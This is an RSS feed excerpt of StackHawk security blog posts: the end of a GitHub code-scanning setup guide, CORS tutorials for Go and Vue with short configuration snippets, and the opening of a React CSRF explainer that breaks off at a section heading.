If you also enable the &lt;code&gt;app.failureThreshold&lt;/code&gt; setting in your StackHawk configuration file (stackhawk.yml), then you will receive notification through the GitHub Security tab if a scan has found issues that meet or exceed that threshold. Accepted values are related to finding severity so this field can be set to &lt;code&gt;high&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, or &lt;code&gt;low&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Commit your StackHawk YAML to your repo.&lt;/p&gt;&lt;h3&gt;Storing Your StackHawk API Key&lt;/h3&gt;&lt;p&gt;To execute a scan in GitHub, you will also need to store your StackHawk API key in GitHub. Fortunately, GitHub makes this super easy with their secrets management tooling.&lt;/p&gt;&lt;p&gt;Grab your API key out of the StackHawk platform, and then click the settings tab in your repo. &lt;/p&gt;&lt;p&gt;Navigate down to secrets and create a new secret with the name &lt;code&gt;HAWK_API_KEY&lt;/code&gt; and paste in your API key value. &lt;/p&gt;&lt;p&gt;
If you don’t know your StackHawk API key, you can generate a new one by clicking on your username in the bottom left of the StackHawk UI and navigating to settings. &lt;/p&gt;&lt;h3&gt;Running Code Scan&lt;/h3&gt;&lt;p&gt;The hard work is behind us! Now it is time to start running StackHawk’s code scanning integration. &lt;/p&gt;&lt;p&gt;By default, StackHawk will run every time you check-in code. After you have pushed your code, navigate to the &lt;code&gt;Actions&lt;/code&gt; tab and you should see StackHawk running.&lt;/p&gt;&lt;p&gt;If you have configured a failure threshold in StackHawk, you will get notifications in the security tab when findings meet or exceed your threshold. The findings will create a badge on the security tab, which you can click into for more details. &lt;/p&gt;&lt;p&gt;Once you click into the code scanning alert, you will be able to navigate to the scan results in the StackHawk UI with a single click. &lt;/p&gt;&lt;p&gt;In the StackHawk platform, users can triage alerts to allow future builds to pass. &lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Getting notified when a new security vulnerability is introduced doesn’t have to take tons of tooling, platforms, and overhead. The new StackHawk code scanning integration in GitHub meets developers where they are already working so they can find API and application security vulnerabilities quickly and easily. Configuration is dev-friendly and relies on two YAMLs and a few clicks in the GitHub UI. &lt;/p&gt;&lt;p&gt;From there, testing runs seamlessly when you check-in code. Developers get notified right away when a vulnerability is introduced so they can quickly remediate, and they can have confidence the code they are shipping is secure. &lt;/p&gt;&lt;p&gt;So login to GitHub and get going!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Security is probably the primary concern of every web app creator. This is true for any language, and Go — often called Golang to make it more searchable — is no exception. Today we&amp;#39;re offering you our guide to Golang CORS handling.&lt;/p&gt;&lt;p&gt;So, what&amp;#39;s this all about? Well, in a nutshell, CORS is the proper, safe way to get around the restrictions imposed by a security measure. If you have legitimate uses for doing that, CORS is the mechanism that will let you avoid the restrictions without exposing yourself to unnecessary risk.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll open with the fundamentals by explaining what CORS is and why it&amp;#39;s important. Then, we&amp;#39;ll show you how you can enable CORS in your Golang application. For that, we&amp;#39;ll provide two applications:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;a sample Go application that simulates a RESTful API, returning JSON for a single endpoint&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;a React application that consumes the Golang&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For the tutorial, we&amp;#39;ll assume you have both Node.js/npm and Go properly installed and are familiar with the command line. We&amp;#39;ll also ask you to clone two repositories on&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-with-github-actions/&quot;&gt; &lt;u&gt;GitHub&lt;/u&gt;&lt;/a&gt;, but if there&amp;#39;s any problem with that, you can always download the projects as .zip files.&lt;/p&gt;&lt;p&gt;With that out of the way, let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;Golang CORS Handling: The Fundamentals&lt;/h2&gt;&lt;p&gt;Before covering Golang CORS in practice, let&amp;#39;s understand &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;what CORS is&lt;/u&gt;&lt;/a&gt; about in the first place.&lt;/p&gt;&lt;h3&gt;What Is CORS?&lt;/h3&gt;&lt;p&gt;CORS stands for Cross-Origin Resource Sharing. It&amp;#39;s a standard web mechanism, based on HTTP headers, that enables a given web server to indicate other origins that are allowed to load resources from it.&lt;/p&gt;&lt;p&gt;In case that sounds a little fuzzy, don&amp;#39;t worry. We&amp;#39;ll explain in more detail why you need CORS — and also the meaning of &lt;i&gt;origins &lt;/i&gt;— in the next section.&lt;/p&gt;&lt;h3&gt;What Is the Point of CORS?&lt;/h3&gt;&lt;p&gt;To understand the need for CORS, you must take a step back and understand the problem it solves.&lt;/p&gt;&lt;p&gt;Browsers have a crucial security mechanism called the&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt; &lt;u&gt;same-origin policy.&lt;/u&gt;&lt;/a&gt; Due to this policy, browsers prevent websites from loading resources from different origins. Thanks to the same-origin policy, malicious websites can&amp;#39;t steal data from legitimate sites.&lt;/p&gt;&lt;p&gt;What is an origin in this context? Browsers will define an origin based on the following pieces of data:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The protocol (e.g., HTTP or HTTPS)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The port, if available&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The host&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For instance, https://www.stackhawk.com:443 and https://www.stackhawk.com are considered the same origins because protocol, host, and port are the same (port 443 is the default for HTTPS). On the other hand, https://stackhawk.com and http://stackhawk.com are different origins because the protocols are different.&lt;/p&gt;&lt;p&gt;In practice, when is the right time to enable CORS?&lt;/p&gt;&lt;p&gt;The answer is when there are legitimate reasons to create an allow-list of origins that are allowed to load resources from your server. A classical example would be an application composed of a back-end — e.g. a RESTful API written in&lt;a href=&quot;https://www.stackhawk.com/blog/java-xss/&quot;&gt; &lt;u&gt;Java&lt;/u&gt;&lt;/a&gt; — and a front-end — for instance, an Angular app — when the two are served from different domains.&lt;/p&gt;&lt;h2&gt;How Do I Enable CORS in Golang?&lt;/h2&gt;&lt;p&gt;Now let&amp;#39;s see how you go about enabling CORS in Go. But first, it&amp;#39;s important you see the problem happening in the first place.&lt;/p&gt;&lt;h3&gt;Let&amp;#39;s See the Problem in Action&lt;/h3&gt;&lt;p&gt;For this tutorial, we&amp;#39;ll assume you have Go properly installed on your system and are familiar with the command line. You&amp;#39;ll start by&lt;a href=&quot;https://github.com/carlosschults/sample-go-app&quot;&gt; &lt;u&gt;cloning a repo on GitHub&lt;/u&gt;&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;git clone https://github.com/carlosschults/sample-go-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then, access the cloned folder and build the main.go file:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cd sample-go-app
build main.go&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Finally, run the built application by executing:&lt;/p&gt;&lt;p&gt;&lt;code&gt;./main&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now you&amp;#39;re able to see the application running. Open your browser at &lt;u&gt;http://localhost:8002/articles&lt;/u&gt; and you&amp;#39;ll get the following result:&lt;/p&gt;&lt;p&gt;&lt;code&gt;[
  {
    &amp;quot;Id&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;Title&amp;quot;: &amp;quot;First article&amp;quot;,
    &amp;quot;Desc&amp;quot;: &amp;quot;Title of this fine article&amp;quot;,
    &amp;quot;Content&amp;quot;: &amp;quot;Content for this fine article&amp;quot;
  },
  {
    &amp;quot;Id&amp;quot;: &amp;quot;2&amp;quot;,
    &amp;quot;Title&amp;quot;: &amp;quot;Second article&amp;quot;,
    &amp;quot;Desc&amp;quot;: &amp;quot;Title of this majestic article&amp;quot;,
    &amp;quot;Content&amp;quot;: &amp;quot;Content for this majestic article&amp;quot;
  }
]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This is our server written in Go. We now need a client. For this part of the tutorial, you&amp;#39;ll need Node/npm installed. Go get them if you don&amp;#39;t have them. When you&amp;#39;re ready, clone&lt;a href=&quot;https://github.com/carlosschults/cors-sample&quot;&gt; &lt;u&gt;yet another repository&lt;/u&gt;&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;git clone https://github.com/carlosschults/cors-sample&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then, access the folder and start the project using npm:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cd cors-sample
npm start&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Point your browser at http://localhost:3000 and make sure to activate the developer tools in your browser.&lt;/p&gt;&lt;p&gt;You&amp;#39;ll see the following error:&lt;/p&gt;&lt;h3&gt;Understanding the Problem&lt;/h3&gt;&lt;p&gt;If you open the contents of the folder you&amp;#39;ve just cloned using your favorite text editor, you&amp;#39;ll see something like this:&lt;/p&gt;&lt;p&gt;This app is a&lt;a href=&quot;https://www.stackhawk.com/blog/react-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt; &lt;u&gt;React&lt;/u&gt;&lt;/a&gt; application that consumes—or at least tries—the JSON returned by the Golang app, converts it to an array of objects, and renders them on the screen.&lt;/p&gt;&lt;p&gt;But, as you could see, that&amp;#39;s not working. Why?&lt;/p&gt;&lt;p&gt;The answer is, as you probably suspect, the same-origin policy. The Golang app runs on port 8002. However, the client React app runs on port 3000. As you&amp;#39;ve seen, simply having different port numbers is already enough for two URLs to be considered different origins. How can we fix that?&lt;/p&gt;&lt;p&gt;In the next section, you&amp;#39;ll finally see how to enable CORS in Go and fix the issue.&lt;/p&gt;&lt;h3&gt;Fixing the Problem&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s edit the Go application to allow CORS. Open the main.go file and paste the following function on it:&lt;/p&gt;&lt;p&gt;&lt;code&gt;func enableCors(w *http.ResponseWriter) {
    (*w).Header().Set(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;*&amp;quot;)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then, at the start of the &lt;b&gt;handleArticles&lt;/b&gt; function, add the following line of code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;enableCors(&amp;amp;w)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The complete &lt;b&gt;handleArticles&lt;/b&gt; function should now look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;func handleArticles(w http.ResponseWriter, r *http.Request) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;	enableCors(&amp;amp;w)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;	js, err := json.Marshal(Articles)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;	w.Header().Set(&amp;quot;Content-Type&amp;quot;, &amp;quot;application/json&amp;quot;)
	w.Write(js)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The next step is to rebuild the Go application and run it again:&lt;/p&gt;&lt;p&gt;&lt;code&gt;go build main.go
./main&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now, if you go to the browser tab in which the React app is running, you should see a result like the following:&lt;/p&gt;&lt;p&gt;It works! As you can see, now the React app is able to successfully retrieve the articles from the Golang app.&lt;/p&gt;&lt;p&gt;There&amp;#39;s still one final change we can make to the Go application. Take another look at the &lt;b&gt;main.go&lt;/b&gt; file, specifically at the &lt;b&gt;enableCors&lt;/b&gt; function, and you&amp;#39;ll notice this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;(*w).Header().Set(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;*&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As you can see, we use an asterisk when setting the Access-Control-Allow-Origin header. What that means is that we&amp;#39;re opening up our application to all possible origins. This is practical when testing, but it&amp;#39;s obviously not secure. Let&amp;#39;s change that line to this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;(*w).Header().Set(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;http://localhost:3000&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now we&amp;#39;re explicitly setting the address http://localhost:3000 as the allowed origin.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Go Make Your Apps More Secure!&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As you&amp;#39;ve seen in this post, the same-origin policy is a crucial security mechanism for the web. Without it, it would be possible for scripts from one origin to load data from other websites, making attacks and data theft easier.&lt;/p&gt;&lt;p&gt;However, sometimes you&amp;#39;ll have legitimate reasons for accessing secure data, and that&amp;#39;s where CORS comes in handy. CORS is a mechanism you can use on your web app to indicate other origins that are allowed to load from its resources. In this post, we&amp;#39;ve covered some fundamentals about CORS and how to enable it in a Go app.&lt;/p&gt;&lt;p&gt;Bear in mind that what we&amp;#39;ve covered here today is just the tip of the iceberg when it comes to CORS. For instance, something we haven&amp;#39;t discussed here is&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request&quot;&gt; &lt;u&gt;pre-flight requests&lt;/u&gt;&lt;/a&gt;, which are needed when performing requests with verbs others than GET. Also, for real world scenarios, consider adopting a dedicated package for handling CORS in Golang, &lt;a href=&quot;https://github.com/rs/cors&quot;&gt;&lt;u&gt;such as this one&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Thanks for reading, and until the next time.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Web applications often depend on resources from an external source or domain. For example, a website can display an image hosted on another site. Beyond images, a web application may fetch JSON format data from an external API. &lt;/p&gt;&lt;p&gt;However, sharing resources across websites isn&amp;#39;t always a smooth ride. If you&amp;#39;ve made HTTP requests from JavaScript to another site, you&amp;#39;ve probably seen a CORS error. The full meaning of CORS is Cross-Origin Resource Sharing. &lt;/p&gt;&lt;p&gt;A public API may accept requests from any origin. However, the default behavior of most web servers does not permit such requests. You might find yourself running into CORS-related errors when you try to access data from a remote API while testing a Vue app locally. This can also occur when working with Vue and another local back-end server that makes use of a different port. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;&lt;u&gt;CORS-related errors&lt;/u&gt;&lt;/a&gt; can be annoying. They can take minutes or hours to debug. In this post, we&amp;#39;ll cover CORS in Vue. We&amp;#39;ll also discuss how to enable CORS requests with Vue. In addition, we&amp;#39;ll show you how to debug and fix CORS errors. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll start by taking a look at what CORS is. &lt;/p&gt;&lt;h2&gt;What Is CORS?&lt;/h2&gt;&lt;p&gt;CORS is a mechanism that can be found in modern web browsers like Chrome, Firefox, Safari, and Edge. It prevents &lt;b&gt;Domain A&lt;/b&gt; from accessing resources on &lt;b&gt;Domain B&lt;/b&gt; without explicit permission. &lt;/p&gt;&lt;p&gt;According to the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&quot;&gt;&lt;u&gt;MDN Docs&lt;/u&gt;&lt;/a&gt;, &amp;quot;Cross-Origin Resource Sharing (CORS) is an HTTP-header based mechanism that allows a server to indicate any other origins (domain, scheme, or port) than its own from which a browser should permit loading of resources.&amp;quot; &lt;/p&gt;&lt;p&gt;The permission for which external domains may access resources on Domain B must be defined on Domain B. The permission is set using the &lt;b&gt;Access-Control-Allow-Origin&lt;/b&gt; header. For example, if Domain A is &lt;b&gt;example.com&lt;/b&gt; and Domain B is &lt;b&gt;mainsite.com&lt;/b&gt;, the correct header will be the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Access-Control-Allow-Origin: example.com &lt;/code&gt;&lt;/p&gt;&lt;p&gt;Alternatively, a wildcard can be set in the header using &lt;code&gt;*&lt;/code&gt;. However, this is not always a good security practice. To learn more about CORS, check out our &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;pillar post.&lt;/u&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;HTTP Headers&lt;/h2&gt;&lt;p&gt;HTTP headers are channels through which the browser and server pass additional information. There are two cases in which headers are used. In the first, the client browser sends additional information to the server while making a request. In the second case, a server sends additional information to the client along with the response. &lt;/p&gt;&lt;p&gt;The browser may use headers to authenticate with a server. The server, on the other hand, can respond with a header telling the browser which resources it can access. CORS response is sent back to the browser using a header. &lt;/p&gt;&lt;p&gt;The following is an example of a header response for an HTTP request:&lt;/p&gt;&lt;p&gt;&lt;code&gt;accept-ranges: &amp;quot;bytes&amp;quot;
content-length: &amp;quot;785&amp;quot;
content-type: &amp;quot;text/html; charset=UTF-8&amp;quot;
date: &amp;quot;Sun, 01 Aug 2021 02:00:35 GMT&amp;quot;
etag: &amp;quot;W/\&amp;quot;311-4gBYPqEJbr0hYJMBrIkiiBUknS4\&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Each header is made up of a key and a value. The name of the key is case insensitive. &lt;/p&gt;&lt;p&gt;A front-end developer may set additional headers before sending an HTTP request. Similarly, additional headers can be set from the back end and returned with a response.&lt;/p&gt;&lt;h2&gt;How to Enable CORS in Vue&lt;/h2&gt;&lt;p&gt;CORS is a browser feature. However, there are a few ways to work around it. For example, unlike browsers, CURL and Postman can bypass CORS. Therefore, a remote API that throws a CORS error in Vue may work as expected while using either CURL or Postman. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;One way to enable cross-origin requests in Vue without a CORS error is by using the built-in proxy feature. However, this is only a &lt;b&gt;temporary fix&lt;/b&gt; and may cause security issues.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;To enable this method of bypassing CORS in Vue, we&amp;#39;ll need to set some configurations in the &lt;b&gt;vue.config.js&lt;/b&gt; file. &lt;/p&gt;&lt;h3&gt;Steps&lt;/h3&gt;&lt;p&gt;1. First, create a vue.config.js file if it doesn&amp;#39;t already exist in the root of your Vue project.&lt;/p&gt;&lt;p&gt;2. Then paste the following code in the new file: &lt;/p&gt;&lt;p&gt;&lt;code&gt;module.exports = {
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;3. Next, configure a proxy. For example, if we plan to access a resource on mainsite.com/api, the value for our proxy will be mainsite.com. Here is the full code for the proxy configuration: &lt;/p&gt;&lt;p&gt;&lt;code&gt;module.exports = {
   devServer: {
      proxy: &amp;#39;https://mainsite.com/&amp;#39;,
   }
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;4. Finally, make requests to the API using relative paths. &lt;/p&gt;&lt;p&gt;With this method, we should be able to access content initially blocked by CORS. &lt;/p&gt;&lt;h2&gt;How to Detect and Debug CORS Errors&lt;/h2&gt;&lt;p&gt;Most modern web browsers have a developer tool built in. The developer tool has a console that can log JavaScript errors. To access this console, right-click anywhere on the browser page, then select &lt;b&gt;Inspect&lt;/b&gt;. After that, click the &lt;b&gt;Console&lt;/b&gt; tab. Then you can observe the console output for any CORS-related error messages. &lt;/p&gt;&lt;p&gt;The screenshot below shows a CORS error message in the developer console. &lt;/p&gt;&lt;p&gt;This is the error message: &lt;/p&gt;&lt;p&gt;&amp;quot;Access to XMLHttpRequest at &amp;#39;http://127.0.0.1:8000/&amp;#39; from origin &amp;#39;http://localhost:8080&amp;#39; has been blocked by CORS policy: &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;No &amp;#39;Access-Control-Allow-Origin&amp;#39; header is present&lt;/a&gt; on the requested resource.&amp;quot; It&amp;#39;s a CORS error, obviously. From the error message, we can observe two things. First, the Vue app (the request origin) uses localhost and port 8080. Second, the remote API uses a different port, 8000. The browser treats both addresses as different domains because they have different ports. &lt;/p&gt;&lt;p&gt;In the next section, we&amp;#39;ll talk about ways to prevent and fix CORS errors. &lt;/p&gt;&lt;h2&gt;How to Fix CORS Errors&lt;/h2&gt;&lt;p&gt;The back end sets CORS headers. Hence, a front-end developer has limited options to fix or prevent CORS errors. &lt;/p&gt;&lt;p&gt;Googling &amp;quot;how to fix CORS errors&amp;quot; may bring up results with suggestions that can harm your site. &lt;/p&gt;&lt;p&gt;If you are getting a CORS-related error on an API developed by your team, contacting the back-end developers on your team should be your first move. They&amp;#39;ll usually need to add the domain you&amp;#39;re trying to access the API from to the &lt;b&gt;Access-Control-Allow-Origin &lt;/b&gt;header. &lt;/p&gt;&lt;p&gt;However, if the API is from a third party, you may need to contact the developers from their website or through other channels. This process can be slow, depending on the developer. &lt;/p&gt;&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Proxy_server&quot;&gt;&lt;u&gt;proxy&lt;/u&gt;&lt;/a&gt; acts as an intermediary between a client and server. Using a proxy can fix some CORS errors. You can set a proxy in Vue using the &lt;b&gt;vue.config.js file&lt;/b&gt;. The file is located on the root directory of a Vue project. If it&amp;#39;s not present, you can create one. &lt;/p&gt;&lt;p&gt;Not every fix for a CORS error is a good fix. For example, setting the value for the &lt;b&gt;Access-Control-Allow-Origin&lt;/b&gt; header to &amp;quot;&lt;code&gt;*&lt;/code&gt;&amp;quot; on the back end may clear many CORS errors. However, this may have a negative impact on the security of the API. &lt;/p&gt;&lt;p&gt;Setting the value for &lt;b&gt;Access-Control-Allow-Origin &lt;/b&gt;to the &lt;code&gt;*&lt;/code&gt; wildcard means any domain can access the API. In other words, anyone on the Internet can access the API. CORS exists for security reasons, and a fix that completely or partially turns it off may expose your application to attacks. See &lt;a href=&quot;https://stackoverflow.com/a/19744754/3475551&quot;&gt;&lt;u&gt;this&lt;/u&gt;&lt;/a&gt; answer on StackOverflow for more details on why the &amp;quot;&lt;code&gt;*&lt;/code&gt;&amp;quot; wildcard might be a bad fix. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve covered what CORS is and how it&amp;#39;s a mechanism in browsers. As a result, CURL and Postman may not encounter CORS errors. &lt;/p&gt;&lt;p&gt;We also looked at how to enable CORS in Vue. We were able to fix a CORS error for a debug server using Vue proxy. &lt;/p&gt;&lt;p&gt;Finally, it&amp;#39;s worth mentioning that before you fix any CORS errors, be sure to research the security implications associated with it. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React CSRF Protection Guide: Examples and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-csrf-protection-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Do you ignore your spam emails? To be honest, they could be more dangerous than you think. Be cautious when visiting a website flooded with advertisements and clickbait. An attacker behind the screen may trick you into doing something malicious, such as deleting your account on a website, transferring funds illegitimately, and so on. These are all possible outcomes of a CSRF attack.&lt;/p&gt;&lt;p&gt;Other names for these attacks are&lt;a href=&quot;https://www.techopedia.com/definition/172/cross-site-request-forgery-csrf#:~:text=Cross%2Dsite%20request%20forgery%20(CSRF)%20is%20a%20type%20of,from%20a%20trusted%20website%20user.&amp;text=This%20term%20is%20also%20known,or%20a%20one%2Dclick%20attack.&quot;&gt; &lt;u&gt;&amp;quot;one-click attacks&amp;quot; or &amp;quot;session riding.&amp;quot;&lt;/u&gt;&lt;/a&gt; CSRF attacks aren&amp;#39;t common these days. But understanding how they work is vital if you want to build secure services and web applications. And even in the past few years,&lt;a href=&quot;https://www.forbes.com/sites/daveywinder/2020/08/03/meetup-security-flaws-exposed-44-million-members-to-data-loss-and-payment-threat-checkmarx-research/?sh=c1b74112d645&quot;&gt; CSRF attacks have gotten well-known companies into trouble&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In this roundup, I&amp;#39;ll help you understand what CSRF is and how a CSRF attack may happen. We&amp;#39;ll look at an example. Then, I&amp;#39;ll walk you through how you can protect your React application from such an attack.&lt;/p&gt;&lt;h2&gt;A Bird&amp;#39;s-Eye View of CSRF&lt;/h2&gt;&lt;p&gt;CSRF stands for cross-site request forgery. Let&amp;#39;s break down that term.&lt;/p&gt;&lt;h3&gt;Cross-Site Request&lt;/h3&gt;&lt;p&gt;The &amp;quot;cross-site request&amp;quot; part simply means a request sent from site A that was supposed to be sent from site B. This doesn&amp;#39;t sound that bad, right? Well, only if I authorized that request.&lt;/p&gt;&lt;p&gt;For instance, it&amp;#39;s fine if I delete my Firebase account from my Google account. However, if I were to do the same using my random XYZ account, chances are that my Firebase account is compromised.&lt;/p&gt;&lt;p&gt;The next question is: Why would I do that? Why would I want to delete my Firebase account using some other random website that has no correlation with it?&lt;/p&gt;&lt;p&gt;There could be a couple of use cases that cater to this scenario. For instance, I might authorize my Google Cloud account to delete my Firebase account. Similarly, I might authorize my Facebook account to delete my Instagram account. However, if I visit a random website that wipes out my Instagram account, I&amp;#39;d be concerned about the security of my social media handles.&lt;/p&gt;&lt;h3&gt;Forgery&lt;/h3&gt;&lt;p&gt;The other part of the term, &amp;quot;forgery,&amp;quot; means forcibly and illegally carrying out an action you aren&amp;#39;t authorized to do.&lt;/p&gt;&lt;p&gt;So if you put two and two together, CSRF or cross-site request forgery means an unknown application forges a request to your server. But how does an attacker send a request on your behalf?&lt;/p&gt;&lt;h2&gt;A CSRF Attack in Action&lt;/h2&gt;&lt;p&gt;Now that you have a good idea of what CSRF really means, let&amp;#39;s look at how an attacker might execute a CSRF attack on your application.&lt;/p&gt;&lt;p&gt;For the purpose of this example, let&amp;#39;s say you&amp;#39;ve got a web application with a ReactJS front end that interacts with the back end server.&lt;/p&gt;&lt;h3&gt;Application Demo&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s say your application has a simple home page and a profile page. The home page of your application is visible to anyone on the web. For brevity, the following application shows a simple page that lists a couple of users.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Home Page Demo.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;However, in order to access the profile page, a user must be authenticated on the app. Inside the profile page, there&amp;#39;s a small button that enables the user to delete their account. Let&amp;#39;s say the profile page looks like this.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Profile Page Demo.&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;Authentication Flow&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s say your user tries to log in to your application using a login form. The user fills in this form to validate her credentials from the server. Like most typical authentication flows, the server sends a cookie that&amp;#39;s used to manage the session of the user. This cookie is stored in the browser and is sent back with every request to validate the authenticity of the user.&lt;/p&gt;&lt;h3&gt;The Vulnerability&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s say a user wants to delete her account on your site. To do this, she must click a Delete button. However, only a user who has signed in to the application can perform this action.&lt;/p&gt;&lt;p&gt;When the user presses Delete, the client sends a delete request to your server. The server processes this request and carries out a delete operation on your database. Your delete request would look somewhat like this:&lt;/p&gt;&lt;p&gt;&lt;i&gt;CSRF Attack Request.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;To validate the authenticity of the delete request, the user&amp;#39;s browser stores the session token as a cookie. However, this leaves a CSRF vulnerability in your application. An attacker can send a delete request to your server with the cookie present in the browser. All they need you to do is open a link with a hidden form that triggers this delete request in the background. Let&amp;#39;s see how this works.&lt;/p&gt;&lt;h3&gt;The Attack&lt;/h3&gt;&lt;p&gt;In this example, the triggering point for the attack is opening a URL. The attacker generates a URL that points to another web application. The attacker then uses social engineering to open that URL in the user&amp;#39;s browser.&lt;/p&gt;&lt;p&gt;As soon as the application loads, it gets access to the session cookie stored in your browser. And that&amp;#39;s it! The attack could be triggered under the hood, in the background, while the malicious link loads.&lt;/p&gt;&lt;h3&gt;Aftermaths of the Attack&lt;/h3&gt;&lt;p&gt;Your user would have no idea that she was under a CSRF attack! Eventually, though, she&amp;#39;d question your application&amp;#39;s credibility and might not want to use your app again.&lt;/p&gt;&lt;p&gt;The scale of this attack may be huge, which makes it even worse for you if the attacks delete the accounts of a large number of users. This makes your product look weak and eventually affects your business. You may lose a ton of users—and if the word gets out, you may lose some potential users as well.&lt;/p&gt;&lt;p&gt;Hence, it&amp;#39;s important to safeguard your system from a CSRF attack. Let&amp;#39;s see how you can do so.&lt;/p&gt;&lt;h2&gt;CSRF Protection: Myth 